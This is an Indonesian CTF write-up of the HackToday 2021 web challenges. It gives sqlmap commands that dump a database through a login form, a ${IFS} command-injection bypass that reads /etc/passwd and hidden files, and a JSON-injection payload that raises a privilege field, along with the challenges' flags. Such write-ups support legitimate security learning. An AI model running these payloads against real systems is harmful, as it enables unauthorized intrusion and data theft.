Quals HackToday 2021 — Web

3 years ago 249
BOOK THIS SPACE FOR AD
ARTICLE AD

Rizaldi Wahaz

HackToday 2021 adalah kompetisi CTF yang di selenggarakan oleh IPB setiap tahunnya, berikut untuk write up soal kategori web. Langsung aja check it out..

Diberikan tampilan sebuah login page dengan inputan username dan password. Kemudian saya coba untuk memasukkan inputan sembarang, dan menghasilkan tampilan “Username atau Password salah!”

Lalu saya coba untuk memasukkan ‘ pada inputan username, ternyata menghasilkan error yang jika dilihat database nya menggunakan mysql

Langsung saja gas ke sqlmap, saya masukkan parameter username yang akan di tes, dengan command:

$ sqlmap -u http://103.41.207.206:13003/ — data “username=a&password=a&submit=Login” -p “username” — current-db

Didapatkan database saat ini adalah fakeuser.

Langsung saja dump isi dari databse fakeuser, dengan command:

$ sqlmap -u http://103.41.207.206:13003/ — data “username=a&password=a&submit=Login” -p “username” — dump -D fakeuser

Dan voila! Dapet flagnya.

Flag: hacktoday{r3g3x_SQLi_pr3v3nti0n_578eee__}

Diberikan tampilan untuk melihat ip dari domain. Setelah mencoba beberapa inputanternyata memang ada beberapa karakter yang di blacklist. Kemudian saya mencoba beberapa payload dari sini.

Didapatkan lah filter bypass untuk command injection:

echo&&cat${IFS}/etc/passwd

Saat saya coba ls untuk melihat direktorinya hanya keluar main.py

echo&&ls

Kemudian coba ls -la, hanya keluar total files yang ada pada direktori tersebut, yaitu total 32.

echo&&ls${IFS}-la

Ternyata memang hanya 1 line yang akan ditampilkan, kemudian saya mencoba berbagai sort pada linux, didapatkan lah menggunakan ls -Sr yang akan melakukan sorting berdasarkan file terkecil yang di reverse.

echo&&ls${IFS}-Sr

Didapatkan lah file yang mencurigakan dan kemungkinan adalah flagnya. Langsung saja saya cat.

echo&&cat${IFS}problem_setter_choose_this_name_instead_of_flag_dot_txt

Yak benar flag.

Flag: hacktoday{escape_shell_command_with_a_little_shell_knowledge}

Diberikan soal dengan inputan hanya username, dan tidak ada apapun lagi. Ternyata jika sudah input username tidak bisa logout maka harus clear site. Setelah melihat-lihat, pada source page ada komentar yang mencurigakan.

Ternyata saat sampai pada pic13.jpg, terdapat screenshot potongan kode dari web tersebut untuk generate token. Terlihat bahwa untuk mendapatkan flag maka variable touman_leader harus bernilai true atau 1.

Saya coba inject json tersebut:

abc”,”touman_leader”:1,”username”:”abc

Response dari validate pada touman_leader sudah menjadi 1. Langsung saja coba klik button “Click to prove who you are!”

Dan voila dapat flagnya.

Flag: hacktoday{d0ntMindTh3AES_ez_injection_ez_flag}

Read Entire Article